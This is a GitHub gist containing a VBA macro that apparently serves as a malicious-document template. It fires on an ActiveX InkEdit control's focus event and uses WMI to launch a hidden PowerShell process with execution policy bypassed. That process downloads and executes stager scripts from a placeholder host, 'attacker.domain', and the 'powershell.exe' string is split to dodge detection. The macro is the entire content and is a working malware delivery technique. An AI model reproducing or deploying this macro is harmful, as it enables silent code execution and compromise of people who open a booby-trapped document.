Skip to content

Instantly share code, notes, and snippets.

@JPMonglis
Created March 11, 2019 23:18
Show Gist options
  • Save JPMonglis/d633f13d53dafe7582553122b42c3996 to your computer and use it in GitHub Desktop.
Save JPMonglis/d633f13d53dafe7582553122b42c3996 to your computer and use it in GitHub Desktop.
Macro leveraging ActiveX controls (for code execution) and WMI Scripting Library
Sub InkEdit1_GotFocus()
Debugging
End Sub
Public Function Debugging() As Variant
Const HIDDEN_WINDOW = 0
strComputer = "."
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
Set objStartup = objWMIService.Get("Win32_ProcessStartup")
Set objConfig = objStartup.SpawnInstance_
objConfig.ShowWindow = HIDDEN_WINDOW
Set objProcess = GetObject("winmgmts:\\" & strComputer & "\root\cimv2:Win32_Process")
objProcess.Create "powe" & "rshell.e" & "xe" & " -ExecutionPolicy Bypass -WindowStyle Hidden -noprofile -noexit -c if ([IntPtr]::size -eq 4) {(new-object Net.WebClient).DownloadString('https://attacker.domain/stager1.ps1') | iex } else {(new-object Net.WebClient).DownloadString('https://attacker.domain/stager2.ps1') | iex}"
End Function
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment